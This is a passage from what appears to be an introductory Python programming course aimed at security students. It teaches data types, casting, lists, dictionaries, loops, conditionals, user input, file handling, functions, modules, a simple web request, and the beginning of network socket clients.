Listing 15 - Improving our slicing script
Our script contains a new line of code, which may be a bit
confusing at first glance. We've replaced "tag[9:48]" from Listing
12 with the values "tag.index(start)", which came out to
9, and "tag.index(end)", which was 48.
The advantage of a short script like this is that it will work on tags
no matter how long or short they are.
Integer (or int)[146] variables are the basic ways
to store whole numbers with a comparable value. Int variables are
typically set by assigning a whole number without quotes to a variable
name.
In the script below, we assign the value of "750" to a variable called
myInt, then we print it to the terminal.
kali@kali:~$ cat intTest.py
#!/usr/bin/python
myInt = 750
print(myInt)
kali@kali:~$ python intTest.py
750
Listing 16 - Setting an Integer variable and printing it to the terminal
As expected, when we run the script, the output is "750".
If you use quotes to set a number to a variable, you are setting it
as a string instead of an integer. This may lead to bugs or errors if
comparisons are done. In the following example, the usage of quotes
changes how Python interprets the value of the variable.
kali@kali:~$ cat intTest2.py
#!/usr/bin/python
myString = "750"
myInt = 750
print(myString)
print(myInt)
print(myInt + 1)
print(myString + 1)
kali@kali:~$ python intTest2.py
750
750
751
Traceback (most recent call last):
File "/home/kali/intTest2.py", line 7, in <module>
print(myString + 1)
TypeError: can only concatenate str (not "int") to str
Listing 17 - Working with integers and strings
It's interesting to note that the output of two of the four print()
functions was the same, but Python was unable to add one to "750" when
that value was a string.
It's an excellent idea to get familiar with reading output errors,
researching them, and thinking about how we might fix them.
If we want a variable to contain a number with a decimal, we can't
use an integer. Instead, we will need to use a Float.[147] The
nice thing is that Python will usually handle this for us, and we can
typically treat floats the same as integer variables. For example,
let's test what happens when we add a decimal value to an integer.
kali@kali:~$ cat floatTest.py
#!/usr/bin/python
a = 100
print(a)
print(type(a))
a = a + .5
print(a)
print(type(a))
kali@kali:~$ python floatTest.py
100
<class 'int'>
100.5
<class 'float'>
Listing 18 - Working with Float variables
As we found from the script execution, Python was able to change the
integer to a float without us needing to do anything else.
Beyond strings and number variables, we must understand Boolean
variables as well.
Boolean[148] variables store an object value of "True"
or "False". These types of variables are useful when using conditional
statements but we'll get into that a little later. For now, it's
important to understand that these are not string values of "True" or
"False". Let's examine a code snippet.
# this may be set from a user database or after authentication
adminBool = False
if (adminBool)
print("You are an admin!")
else
print("You are NOT an admin!")
Listing 19 - Example working with Booleans
This snippet includes a conditional statement, which we'll cover
later in this Module. For now, we'll just note that since the variable
adminBool is False, this script would print "You are NOT an
admin!".
So far, we covered strings, number variables, and Booleans. Now let's
examine a way to change variable types from one to another with a
process called type casting.
Casting is a way to convert a variable type in Python. This can be
done by using the appropriate casting function to modify the variable
type to another. A reason to use this is when reading user input or
data from an external source such as a text document or webpage.
For example, let's say we have two strings that contain numbers that
we want to add together. This would occur in a scenario where these
numbers were part of a longer string that we sliced.
If we try to add these variables together, we won't receive any
errors, but the result is also unexpected.
kali@kali:~$ cat castTest.py
#!/usr/bin/python
numA = "86"
numB = "20"
print(type(numA))
print(type(numB))
print(numA + numB)
kali@kali:~$ python castTest.py
<class 'str'>
<class 'str'>
8620
Listing 20 - Setting up strings to test casting
The output shows that we concatenated the strings together instead
of adding the numbers. We will need to cast the strings to integers
before they can be added, using the int() function. For simplicity,
we can do this right in the print() function.
Let's change one line in our script and then run it again.
kali@kali:~$ cat castTest.py
#!/usr/bin/python
numA = "86"
numB = "20"
print(type(numA))
print(type(numB))
print(int(numA) + int(numB))
kali@kali:~$ python castTest.py
<class 'str'>
<class 'str'>
106
Listing 21 - Example casting strings to integers
This can also be done with the str() function to convert an integer
or float into a string data type. Let's modify the code slightly to
demonstrate this.
kali@kali:~$ cat castTest.py
#!/usr/bin/python
numA = "86"
numB = "20"
print(type(numA))
print(type(numB))
newValue = int(numA) + int(numB)
print(newValue)
print(type(newValue))
print(type(str(newValue)))
kali@kali:~$ python castTest.py
<class 'str'>
<class 'str'>
106
<class 'int'>
<class 'str'>
Listing 22 - Example casting integer to string
As shown in the output, the integer variable was type cast to a string
with the str() function.
Let's take this opportunity to apply what we've learned in the
following exercises.
Lists and Dictionaries
This Learning Unit covers the following Learning Objectives:
- Understand what lists and dictionaries are
- Understand how lists and dictionaries can be used
- Create lists
- Create dictionaries
This Learning Unit will take approximately 90 minutes to complete.
So far, we have covered variables and how to work with them. Now let's
examine some more complex variables that hold more than one value in
them: lists and dictionaries.
A list[149] is a datatype that contains one or more
variables in indexed order. The different types of variables can be
contained within a list or a list can even contain other lists.
We can specify a list in Python by using square brackets.
kali@kali:~$ cat listTest.py
fruitList = ["apple", "banana", "orange"]
print(type(fruitList))
kali@kali:~$ python listTest.py
<class 'list'>
Listing 23 - Setting and verifying a list variable
As expected, when we check the data type of the fruitList variable,
we show that it is a list.
Each item in the list has a corresponding index value that represents
its location. In our previous example, "apple" has an index of 0, and
"banana" would have an index of 1. If we know a value is contained in
the list but don't know the index, we can find it by using the list
index() method.
kali@kali:~$ cat listTest2.py
#!/usr/bin/python
fruitList = ["apple", "banana", "orange"]
print(fruitList.index("orange") )
kali@kali:~$ python listTest2.py
2
Listing 24 - Finding the index of an item in a list
Above, we searched for the index containing the
value "orange". In this case, the "orange" value had an index of 2.
The index() method is also very helpful when slicing strings, which
we touched on earlier.
If we would like to add an item to our list, we can use the append()
method.
kali@kali:~$ cat listTest3.py
#!/usr/bin/python
fruitList = ["apple", "banana", "orange"]
fruitList.append("mango")
print(fruitList)
kali@kali:~$ python listTest3.py
["apple", "banana", "orange", "mango" ]
Listing 25 - Adding an item to a list
In the list above, we added the value "mango" to the end of the list.
Inversely, we can remove items from a list, in the same way, using
remove().
kali@kali:~$ cat listTest4.py
#!/usr/bin/python
fruitList = ["apple", "banana", "orange", "mango" ]
fruitList.remove("mango")
print(fruitList)
kali@kali:~$ python listTest4.py
["apple", "banana", "orange"]
Listing 26 - Removing an item form a list
Listing 26 shows the value "mango" being removed from the
list.
If we would like to know the number of items in our list, we can use
the len() function, which will return the number of items our list
contains.
kali@kali:~$ cat listTest5.py
#!/usr/bin/python
fruitList = ["apple", "banana", "orange"]
print(len(fruitList))
kali@kali:~$ python listTest5.py
3
Listing 27 - Finding the length of a list
The length of the list in Listing 27 is 3, because
there are 3 total items in the list.
In Python, a dictionary[150] is a data structure that
contains one or more key-value[151] pairs. We can use curly brackets
to define a new dictionary and supply it with any initial key-value
pairs.
theOne = {
"firstName":"Thomas",
"lastName":"Anderson",
"occupation":"Programmer"
}
Listing 28 - Example setting up a dictionary in Python
In Listing 28, we have three key-value pairs within the
theOne dictionary.
To add an entry to our dictionary, we can simply reference the
dictionary with an index of the key we want to add and define it as
the value we want to set.
kali@kali:~$ cat dictTest.py
#!/usr/bin/python
theOne = {
"firstName":"Thomas",
"lastName":"Anderson",
"occupation":"Programmer"
}
theOne["company"] = "MetaCortex"
print(theOne)
kali@kali:~$ python dictTest.py
{'firstName': 'Thomas', 'lastName': 'Anderson', 'occupation': 'Programmer', 'company': 'MetaCortex' }
Listing 29 - Adding a key-value pair to a dictionary
In the code block above, we added the key-value pair of
company:MetaCortex to the end of the theOne dictionary.
We reference a value in our dictionary by its key.
kali@kali:~$ cat dictTest.py
#!/usr/bin/python
theOne = {
"firstName":"Thomas",
"lastName":"Anderson",
"occupation":"Programmer"
}
theOne["company"] = "MetaCortex"
print(theOne["firstName"])
kali@kali:~$ python dictTest.py
Thomas
Listing 30 - Referencing an item in a dictionary by key
In Listing 30, we printed the value "Thomas" by referencing to
its key of "firstName".
If we want to change the value of an existing key, we can specify the
key name and the new value. The only difference between adding a new
key-value pair and modifying one is the fact that the key-value pair
already exists within the dictionary.
kali@kali:~$ cat dictTest.py
#!/usr/bin/python
theOne = {
"firstName":"Thomas",
"lastName":"Anderson",
"occupation":"Programmer"
}
theOne["company"] = "MetaCortex"
print(theOne)
theOne["occupation"] = "Superhero"
print(theOne)
kali@kali:~$ ./dictTest.py
{'firstName': 'Thomas', 'lastName': 'Anderson', 'occupation': 'Programmer' , 'company': 'MetaCortex'}
{'firstName': 'Thomas', 'lastName': 'Anderson', 'occupation': 'Superhero' , 'company': 'MetaCortex'}
Listing 31 - The occupation key-value pair was changed
The value of they key labelled "occupation" was changed from
"Programmer" to "Superhero".
We can also retrieve a list of keys that are stored in a dictionary
by using the keys() method.
kali@kali:~$ cat dictTest.py
#!/usr/bin/python
theOne = {
"firstName":"Thomas",
"lastName":"Anderson",
"occupation":"Programmer"
}
theOne["company"] = "MetaCortex"
print(theOne.keys())
kali@kali:~$ python dictTest.py
dict_keys(['firstName', 'lastName', 'occupation', 'company'])
Listing 32 - Printing out the keys of a dictionary
As shown in Listing 32, we added a new key-value pair. Then,
we used the keys() method to output the names of the keys within the
theOne dictionary.
Loops, Logic, and User Input
This Learning Unit covers the following Learning Objectives:
- Create and iterate with a while loop
- Create and iterate with a for loop
- Create if/elif/else statements
- Use user-generated input
This Learning Unit will take approximately 150 minutes to complete.
In this section, we will take what we learned about variables and
use them in loops, conditional statements, and user input. This will
enhance our capabilities to create programs that are more functional
and user-friendly.
Looping in programming is one way to iterate on a conditional
state or data structure. Python has two types of looping methods:
for[125-1] and while.[126-1]
A while loop will repeat a code block as long as a conditional
statement evaluates to True. In the following example, we set a
variable i to 0. We then start our while loop with the condition
that i is less than 10. Each run of the code block prints out the
current value of i and then increments i by 1. This is evident
with the statement i += 1, which is the same as i = i + 1. The
symbol += is an assignment operator. If we forget to increment our
counter variable, this would run until the script is killed manually.
The syntax of loops is important in Python. Note that the loop
statement has a colon (:) at the end of the line. This is then
followed by indented instructions to complete in the loop under that
loop statement. When the indentation isn't there, Python interprets
that as being an instruction outside of the loop. Let's examine the
following code:
i = 0
while i < 10:
print(i)
i += 1
Listing 33 - Example while loop in Python
Now let's use a while loop with Python lists. Let's consider the
following script.
kali@kali:~$ cat whileList.py
#!/usr/bin/python
nameList = ["Sleepy", "Sneezy", "Happy", "Grumpy", "Bashful", "Dopey", "Doc"]
print(nameList)
kali@kali:~$ ./whileList.py
['Sleepy', 'Sneezy', 'Happy', 'Grumpy', 'Bashful', 'Dopey', 'Doc']
Listing 34 - There is a list of names that is output to the terminal
This may not seem like a worthwhile exercise, but linking a looping
statement with lists can greatly impact what is achievable with our
scripts. As it is, this output only prints out the values of the list,
and we don't have control over any of those values.
Although we've learned about indexing in the Python lists section,
let's take a different approach on how we could iterate through the
list with indexes in a while loop. Let's get the number of values in
the nameList list, and then iterate through the values to show each
name on its own line.
The following code is added to the bottom of the previously shown
script. Comments are added using the pound or hash-tag symbol (#) to
provide some clarification on what each line is doing.
# Get the number of items in the list and store the value in a variable
nameListCount = len(nameList)
# Print a message with how many items are in the list
print("There are " + str(nameListCount) + " names in the name list.")
nameIndex = 0
while nameIndex < nameListCount:
# Print the index number
print(nameIndex)
# Print the name at the current index
print(nameList[nameIndex])
# Add 1 to the index value before the loop starts over
nameIndex = nameIndex + 1
Listing 35 - A while loop is created with variables to iterate through the names and show the index values in the list
Now that this is added to the bottom of the script, let's execute it
to analyze what it does.
kali@kali:~$ ./whileList.py
['Sleepy', 'Sneezy', 'Happy', 'Grumpy', 'Bashful', 'Dopey', 'Doc']
There are 7 names in the name list.
0
Sleepy
1
Sneezy
2
Happy
3
Grumpy
4
Bashful
5
Dopey
6
Doc
Listing 36 - The script shows the list, the number of names message, and iterates through the list to show the index number and value
In the output above, the list and a message with the number of names
is displayed to the terminal. The list is then iterated through to
show the respective index and name.
Of course, in deployment, we would want to remove the indexes, the
list, and possibly even the message stating how many names are in the
list. We did this to show how the while loop can be used to separate
out values in the list and we'll take this concept further later in
this Module. Now that we covered a while loop, let's move on to a
for loop.
A for loop will repeat a code block as many times as specified. Each
iteration will store the current value of the sequence to a temporary
variable and execute the code block accordingly. In the following
example, we are using the range[152] command to create a list
containing numbers 0 through 9. The first iteration of this loop will
set the temporary variable i to 0 and then run the code block. Then
it will set i to 1 and run the code block again. This will repeat
until the range is depleted. Notice there is no need to increment the
counter. This is a characteristic of a for loop. As shown above,
the while loop will require some incremental process (nameIndex =
nameIndex + 1) but with the for loop, this is done for us.
kali@kali:~$ cat forLoop.py
#!/usr/bin/python
for i in range(10):
print(i)
kali@kali:~$ ./forLoop.py
0
1
2
3
4
5
6
7
8
9
Listing 37 - Example for loop in Python
Note that there are 10 iterations in the loop. Keep in mind that
the index starts at 0, and the range function also starts at
index 0 by default. We can modify the way this works by also modifying
the range start, stop, and step values. The syntax for this is
range(start, stop, step). The start parameter is used to specify
what position we want to start the loop count. The stop parameter
is used to specify the ending position of the iterations. The
step parameter is used to designate how many will be added in each
iteration. The default for this is 1. Let's change the program to
start at 10, end at 20, and use the step count of 2.
kali@kali:~$ cat forLoop.py
#!/usr/bin/python
for i in range(10,20,2) :
print(i)
kali@kali:~$ ./forLoop.py
10
12
14
16
18
Listing 38 - The range started at 10 and counted up by 2 to 18
As shown in Listing 38, the values were
counted by 2's. This was the impact of the step parameter. The range
started at 10 but didn't show the value of 20. This is the same
concept as shown in the original script example, where the ending
position is not reached.
We can also do more with loops. Let's continue working with the for
loop to demonstrate how we can reference dictionary items in a loop.
kali@kali:~$ cat forDictionary.py
#!/usr/bin/python
guts = {
"Name":"Guts",
"Personality":"gruff",
"Weapon":"Dragon Slayer",
"Armor":"Berserker Armor"
}
print(guts)
kali@kali:~$ ./forDictionary.py
{'Name': 'Guts', 'Personality': 'gruff', 'Weapon': 'Dragon Slayer', 'Armor': 'Berserker Armor'}
Listing 39 - A dictionary is made and displayed
Earlier, we covered showing each of the keys with the keys()
function. Let's iterate with a for loop to list each of the
key-value pairs on separate lines (instead of displaying the entire
dictionary as shown in the listing above). To do this, we'll add the
following code at the bottom of the forDictionary.py script.
for key in guts.keys():
print(key + ": " + guts[key])
Listing 40 - A loop to iterate through the keys and display the key-value pairs
With the above code added, let's execute the script.
kali@kali:~$ ./forDictionary.py
{'Name': 'Guts', 'Personality': 'gruff', 'Weapon': 'Dragon Slayer', 'Armor': 'Berserker Armor'}
Name: Guts
Personality: gruff
Weapon: Dragon Slayer
Armor: Berserker Armor
Listing 41 - Each key-value pair is displayed in the terminal
As expected, we iterated through each key-value pair and printed the
key, followed by a colon (:) and space, and finally the associated
value of the key. This occurred for each pair on a new line until the
end of the dictionary.
This completes our coverage of while and for loops. Let's take a
moment to practice what we've learned so far.
When scripting, there may be sections of code that we want to run
in specific situations. To make this easier, we can use conditional
statements[153] such as if, elif, and else logic.
In Python's if statements, the use of newlines and tabs changes how
the logic is interpreted. If an if statement evaluates to True, then
the code it will run is indented under the conditional statement. Just
like looping statements, a colon and newline are required after the
conditional statement.
if numApples > 100:
print("That's a lot of apples!")
Listing 42 - Example If statement in Python
As long as the value of numApples is greater than 100, the program will
execute the print function located inside the if statement.
When the if statement evaluates to False, the indented code block
is skipped. If we have a related conditional statement, we can use the
elif (short for "else if") statement. Many elif statements can be
added as long as an initial if statement exists.
if numApples > 100:
print("That's a lot of apples!")
elif numApples > 50:
print("That's a very good amount of apples")
elif numApples > 30:
print("That's a good amount of apples")
Listing 43 - Example if - elif statement in Python
In Listing 43, if the value of numApples is greater than 100,
it will execute the print function inside the if statement. Then,
it will skip the rest of the elif statements to continue with the
program. Otherwise, it will continue to compare to the next elif
statement.
If we would like to add a handler to run if all if and elif
statements evaluate to false, we can use the else statement. If all
previous if and elif statements resolve to false, the code under
the else statement will be run. Notice in the example below that we
don't have to specify in what case the code under else is run as it
is a catch-all. The code under the else will only run if all other
conditional statements in this conditional block evaluate to false.
if numApples > 100:
print("That's a lot of apples!")
elif numApples > 50:
print("That's a very good amount of apples")
elif numApples > 30:
print("That's a moderate amount of apples")
else:
print("Running low on apples!")
Listing 44 - Example if/elif/else statement in Python
Let's set the variable numApples to various numbers and review the
effects when running the program. The variable must be set before the
conditional statements.
numApples = 150
Listing 45 - We put that we have 150 apples as the variable value
Now let's execute the script.
kali@kali:~$ ./appleStock.py
That's a lot of apples!
Listing 46 - The output correlates with the condition that there are more than 100 apples
Let's change the value one more time. This time, we'll make it 15,
which is less than the last checked condition of 30 apples.
numApples = 15
Listing 47 - The number of apples is now set to 15
Let's execute our script again to check if the output has changed.
kali@kali:~$ ./appleStock.py
Running low on apples!
Listing 48 - The output correlates with the else statement in the code
Now that we have experienced some conditional statements, let's
practice what we've learned with some exercises.
While setting our variables inside our script worked for what we've
covered so far, it doesn't make our program very interactive for the
user. Prompting the user for input can greatly enhance the flexibility
of the program and allow for different variations to be entered as the
variable under test. Let's consider the following code.
kali@kali:~$ cat nameAge.py
#!/usr/bin/python
name = "Griffith"
age = 24
print("Hi " + name + "!")
if age >= 100:
print("You are over 100 years old? What's your secret?")
elif age >= 70:
print("You are over 70 years old? Are you retired or still working?")
elif age >= 60:
print("You are over 60 years old? Will you be retiring soon?")
elif age >= 40:
print("You are over 40 years old? What do you do for a living?")
elif age >= 20:
print("You are over 20 years old? What do you want to do for your career?")
elif age >= 18:
print("You are over 18 years old? That makes you a legal adult!")
else:
print("It looks like you are under 18 years old.")
Listing 49 - There are two variables: name and age, that can be changed inside the script
In Listing 49, we create two variables, execute a
print() function, and run some conditional statements based on the
age variable.
Let's execute the script, as is, to examine the expected behavior.
kali@kali:~$ ./nameAge.py
Hi Griffith!
You are over 20 years old? What do you want to do for your career?
Listing 50 - The script is executed and the output for someone between 20 and 40 is displayed
The script is functional as written, but this doesn't allow anyone to
execute the script and add their own name and age. Instead, for every
change of the name and age, the script will have to be modified and
saved before the next execution. This can be a cumbersome task, so
let's make this script more user-friendly.
To keep things brief, we'll only focus on the variable lines. Let's
use the input()[154] function to prompt the user to input
the values to store as the variables. The syntax for the input()
function is input("prompt").
name = input("Please enter your name: ")
age = input("Please enter your age: ")
Listing 51 - Now the user should be able to enter their own values
Let's execute the script with the above changes to the variable lines.
kali@kali:~$ ./nameAge.py
Please enter your name: Griffith
Please enter your age: 24
Hi Griffith!
Traceback (most recent call last):
File "/home/kali/./nameAge.py", line 9, in <module>
if age >= 100:
TypeError: '>=' not supported between instances of 'str' and 'int'
Listing 52 - The modification to our script failed with a TypeError message
The script failed to execute. In the listing above, the error message
indicates that something is wrong with a variable that is trying to
mix a 'str' and an 'int' in the age comparison line. This is
where we can use type casting, as covered earlier, to set the age
variable input to be an integer.
name = input("Please enter your name: ")
age = int( input("Please enter your age: "))
Listing 53 - The type cast has been put around the input() function to force the variable into being an integer
Now that age is type cast as an integer, let's execute the script
again.
kali@kali:~$ ./nameAge.py
Please enter your name: Griffith
Please enter your age: 24
Hi Griffith!
You are over 20 years old? What do you want to do for your career?
Listing 54 - The script works as expected
One note on user input, we need to be careful with what the user may
do when using our program. Even though we set the age variable to be
an integer through type casting, the user can still enter unexpected
values. Let's try to simulate a user entering a string when prompted
for their age.
kali@kali:~$ ./nameAge.py
Please enter your name: Griffith
Please enter your age: Femto
Traceback (most recent call last):
File "/home/kali/./nameAge.py", line 4, in <module>
age = int(input("Please enter your age: "))
ValueError: invalid literal for int() with base 10: 'Femto'
Listing 55 - The script fails with an error message for invalid input
Fixing this issue is out of scope for this Module, but we must keep
this in mind while we write any code. Input validation is a very big
reason a lot of security vulnerabilities exist. Keeping in mind that
a user may enter special characters, characters that don't match
the data type, or even input characters that may be thousands of
characters long are all important to securely writing code.
Files and Functions
This Learning Unit covers the following Learning Objectives:
- Open files
- Read files
- Write to files
- Close files
- Create functions
- Understand function parameters
- Return function values
This Learning Unit will take approximately 120 minutes to complete.
Working with files can be incredibly useful when writing Python
scripts. This can be used to get data from a file and act upon that
information in the code. It can also be used to change or even create
files on a system. If we want to have a log or resulting output with
our script, we need to understand how to work with files.
Functions can also help us manage our code and separate each goal
within the program into smaller segments.
Reading and writing to files is an important function for ingesting or
saving data for after the script ends. To open a file, we can use the
open[155] command, set to a variable. We need to specify the file
name and the mode. The mode can be read (r), write (w), append
(a), or read+write (r+) for text. If we want to read or write
binary data, we can append a b to the mode. Reading a binary file
would require a read-binary (rb) mode, and writing binary to a file
would require write-binary (wb). For our examples, we will work with
text.
f = open("data.txt", "r")
Listing 56 - Example of opening a file in read mode
With the file opened and defined as variable f, we can now read the
contents with the read()[156] method.
data = f.read()
Listing 57 - Example of reading a file to a variable
This will store the entire contents of the opened file as a string
into a variable named data. This may not be the best option if we
are working with large files such as log files. For larger files, we
can limit how much we are storing by only reading one line of the file
at a time using readlines() instead of read(). Using readlines()
as a sequence in a for loop makes this very easy. Each iteration of
the for loop will store the current line of the file we are reading
as a temporary variable that we can work with.
f = open("data.txt", "r")
for line in f:
print(line)
Listing 58 - Example of looping over lines of an opened file
If we would like to write some data to a file, we can open the
file like before but in write (w) or append (a) mode depending
on what we are trying to accomplish. Opening a file in write mode
will overwrite the file if it already exists. Using append mode,
we maintain the existing contents of the file and will write any
new data to the end. Either way, we write data to the file using
write()[157] with the data to write passed as an argument.
myData = "I'm sample data to be written to a file"
f = open("data.txt", "a")
f.write(myData)
Listing 59 - Example of opening a file in write mode and writing data to it
In Listing 59, we append by writing the value of myData to
data.txt.
After reading or writing data to a file, we will need to close it.
This can be done by using close(). Closing an opened file isn't
necessary, but it is good practice. Depending on the situation, it can
have many benefits, like allowing other programs the ability to access
the file. There is much more theory and technical explanation behind
this, but it is out of scope. For the purpose of this Module, remember
that we must close an opened file because of best practices.
f.close()
Listing 60 - Closing a file
A function[158] is a code block that can be referenced later
in either our script or another external script or program. Functions
need to be defined in the script before they can be called. To define
a function, we use def followed by the name of our function. The
function definition line ends with parenthesis and a colon.
The big value of functions is that they can help organize code into
small snippets. This makes the code much easier to manage, call, and
even modify in the future. Instead of writing an entire program, each
function goal can be completed and assembled to make the complete
program. We will explore this more in the last section of this Module.
The idea behind this usage is to keep the lines of actual code per
function under 30 lines. Not only is 30 lines easier to deal with than
500, but it can also help identify the area of code that may have an
issue in the debugging process. Of course, 30 lines is an arbitrary
goal to keep the functions short. If possible, it would be a better
practice to lower this line count within the function as much as
possible.
kali@kali:~$ cat function.py
#!/usr/bin/python
def hello():
print("Hi there!")
Listing 61 - This function will print "Hi there!" to the terminal
We created a function called hello() that prints text to the
terminal.
With the function written, let's execute the script.
kali@kali:~$ ./function.py
Listing 62 - Nothing is shown in the terminal
Nothing is shown in the terminal, despite the function having the
print() function. The reason for this is we didn't call the function
in the script. To call and execute the function, we need to specify
the function name after the function. If we attempt to call the
function before it is defined, the program will result in an error.
This will happen because as far the program knows, the function does
not (yet) exist.
Let's add the function call now.
kali@kali:~$ cat function.py
#!/usr/bin/python
def hello():
print("Hi there!")
hello()
Listing 63 - The hello() function is called in the script
Now that we have a function call in the script, let's execute it and
analyze the output.
kali@kali:~$ ./function.py
Hi there!
Listing 64 - The function was called and printed "Hi there!" to the terminal
Perfect! When we ran our script, the program knew a function called
hello() existed because we defined it. Then, when we called it, the
program executed the instructions inside the function. This resulted
in the text printing to the terminal.
This was a very simple function that may not be useful for our needs.
Despite this example, we'll review how these simple functions -
without arguments - become incredibly useful later in this Module.
To expand on function use, we can supply arguments to be used in
the function. Arguments are also known as parameters, operands, and
variables. These are interchangeable in Python. They are passed to
a function within the parentheses. A return statement is used to
supply the function output back to our script in progress. Let's
create a demonstration function to add two numbers and return the
value.
def addNums(numA, numB):
answer = numA + numB
return answer
Listing 65 - Example Function in Python
In Listing 65, we created a function called addNums, which
takes two arguments: numA and numB. Inside the function, both of
these variables are added and the result is assigned to the answer
variable. Finally, the function returns the answer variable.
We can now call addNums() later in our script using the
function name and any passed arguments in parentheses.
kali@kali:~$ cat functTest.py
#!/usr/bin/python
def addNums(numA, numB):
answer = numA + numB
return answer
x = addNums(5, 7)
print(x)
kali@kali:~$ python functTest.py
12
Listing 66 - Calling a Function
In Listing 66, we took the function that we previously
created and we added a print() function to print it to the terminal.
It's important to note that the return statement does not print
the result to the terminal. We can then take the return value and
do something with it, like manipulate it further or print it to the
terminal. As expected, 12 was printed because 5 + 7 = 12.
We covered how to work with files and working with functions. Let's
mix these two subjects together and accomplish the file operations
to quickly store the file contents in a variable to work within our
script. Let's consider the following script.
kali@kali:~$ cat fileManipulation.py
#!/usr/bin/python
def storeFile(file):
f = open(file, 'r')
contents = f.read()
f.close()
return contents
# Variable to store the filename
fileVar = "notes.txt"
contents = storeFile(fileVar)
print(contents)
Listing 67 - The function opens, reads, stores the contents into a variable, and closes the specified file
This script opens, reads, stores the contents into a variable, and
closes the file within one function call. With this, we can call the
function and pass the parameter with the fileVar variable, which was
set above the function call. For this to work, the file must already
exist. In this example, the file exists with the text shown in the
script execution.
kali@kali:~$ ./fileManipulation.py
These are my amazing notes
Listing 68 - The file operations completed and the contents are displayed to the terminal
With this function, we can modify the value stored in the variable
f, instead of modifying the file in any way. This may help prevent
mistakes that may happen when working directly with the file. The
convenience of the function is that the file is also closed as soon as
it is no longer needed.
Let's practice what we learned with some exercises.
Modules and Web Requests
This Learning Unit covers the following Learning Objectives:
- Define what a module is
- Create a custom Python module
- Import a module
- Use an imported module within a script
- Make a web request to pull a web page with Python
This Learning Unit will take approximately 120 minutes to complete.
We covered multiple subjects for creating our own Python programs,
but the power behind Python's ease-of-use is its modules that are
already built. To understand modules, we'll create our own and import
them for use in a custom script. From there, we'll examine how to use
pre-existing modules to make web requests to pull web page content.
One of the best things about Python is the size of the community.
There are lots of resources available to get help or find better
ways to accomplish complex tasks. Sometimes, we may find that someone
has already solved a complicated task for us and provided their
code as a Python module. Examples of these are the JSON,[159]
Requests,[160] and NumPy[161] modules.
We may also run into a situation where we are working with large and
complex Python files. It may be better for us to split them up and
import the functionality when needed by using modules. This can help
us keep our code organized and clean. We can also re-use code more
easily in other projects this way.
Let's start with importing our own code. First, let's create a new
file named myData.py and initialize a couple of lists with some
sample values and a function that prints out items in a list passed to
it.
#!/usr/bin/python
fruit = ["apple", "banana", "orange", "mango"]
veg = ["carrot", "broccoli", "peas", "artichoke"]
def printItems(myList):
for x in myList:
print(x)
Listing 69 - Setting up a Python file to import
Now, we'll set up a new Python file in the same directory called
myMain.py. We want to be able to run myMain.py and have it
import the lists and function from myData.py. To do this, we
use the import[162] statement. This is usually done at the top
of the file below the shebang. There are a couple of different ways
to import a module. We can import just the parts we want, or we can
import the entire module. To import the entire module, we can use the
import statement followed by the file we want to import (without the
file extension).
#!/usr/bin/python
import myData
Listing 70 - Importing our local Python script
With our module imported, we can reference the lists and functions
included in it by calling the module name and the variable name
separated by a period. This import will first search for local modules
of this name (in the same directory) and then search for modules of
the same name in the PYTHONPATH, which is dependent on our OS and
how Python was installed.
#!/usr/bin/python
import myData
print(myData.fruit)
print(myData.veg)
myData.printItems(myData.fruit)
Listing 71 - Working with imported data and functions from a basic import
This is very useful but typing "myData" every time we reference
something from the module can be inefficient. Instead, we can just
import what we want and remove the need to reference the module each
time by using the from statement along with our import.
kali@kali:~$ cat myMain.py
#!/usr/bin/python
from myData import fruit, printItems
print(fruit)
printItems(fruit)
print(veg)
kali@kali:~$ python myMain.py
['apple', 'banana', 'orange', 'mango']
apple
banana
orange
mango
Traceback (most recent call last):
File "/home/kali/myMain.py", line 9, in <module>
print(veg)
NameError: name 'veg' is not defined
Listing 72 - Working with imported data and functions using From
Here, we are choosing which parts to import from our myData module.
We imported the fruit list and printItems() function directly so
we will be able to work with them in myMain.py without having to
reference the module they came from.
We didn't import the veg list so Python produced an error when we
tried to use it. Using this method, we can also import everything from
myData by replacing the import statement with "from myData import *".
There are a lot of modules that we can leverage in Python. We will
focus on the requests[163] module for making web requests.
kali@kali:~$ cat webRequest.py
#!/usr/bin/python
import requests
Listing 73 - The module will be imported in our webRequest script
The requests module contains multiple functions within it. Some
common functions are: get, status_code, headers, encoding,
text, and json. Let's work with get, status_code, and text
to keep this section easier for the sake of learning.
Let's modify our script to request the webpage at
"https://www.offsec.com/offsec/game-hacking-intro/", store
that in a variable, and show the status of that webpage.
kali@kali:~$ cat webRequest.py
#!/usr/bin/python
import requests
page = requests.get('https://www.offsec.com/offsec/game-hacking-intro/')
print(page.status_code)
Listing 74 - The web page is stored in the page variable and the status will be printed to the terminal on execution
The web page contents will be stored in the page variable. Using
that variable, we can check the status of the web response with the
status_code function. Let's execute the script and identify the
status of the webpage.
kali@kali:~$ ./webRequest.py
200
Listing 75 - The HTTP response is 200
The HTTP response[164] code is 200, which means the page
was successfully reached. Knowing the HTTP response code can be useful
when making requests to web resources. If the resource is blocked or
unreachable, that request could have an error message, be ignored, or
even halt the program execution.
Even though the HTTP response is useful, this isn't what we truly
wanted from the request. Let's add another function under the
status_code call, text.
kali@kali:~$ cat webRequest.py
#!/usr/bin/python
import requests
r = requests.get('https://www.offsec.com/offsec/game-hacking-intro/')
print(r.status_code)
print(r.text)
Listing 76 - The text function call in the module is added to the script
Now that we have the text function call in our script, let's execute
it.
kali@kali:~$ ./webRequest.py
200
<!doctype html>
<html class="no-js" lang="en-US">
<head>
<meta charset="utf-8">
<!-- Force IE to use the latest rendering engine available -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- Mobile Meta -->
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta class="foundation-mq">
...
Listing 77 - The source code of the web page is displayed on the terminal
The source code of the webpage is displayed on the terminal. The
output in the listing above is trimmed to save space, but the contents
of the webpage could be manipulated in our script.
Let's practice what we learned with the following exercises:
Python Network Sockets
This Learning Unit covers the following Learning Objectives:
- Write a Python network client
- Connect to a server and read the content received
- Send data to a server with the Python network client
This Learning Unit will take approximately 90 minutes to complete.
In this section, we'll cover how to write a Python socket script.
Network sockets[165] are endpoints for sending and receiving
data across the network. Simply put, they are the backbone of
server/client relationships. We'll only be covering client socket
programming with Python to connect to a remote server.
To get started with our Python network client script, we'll first need
to import the socket module.
kali@kali:~$ cat networkClient.py
#!/usr/bin/python
import socket
Listing 78 - The socket module is imported in our script
From here, we need to set a socket variable. In our case, we'll name
ours s.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Listing 79 - The socket variable is set to 's'
The variable may seem complicated, so let's break down what each part
of the socket declaration is. There is a socket() function that has
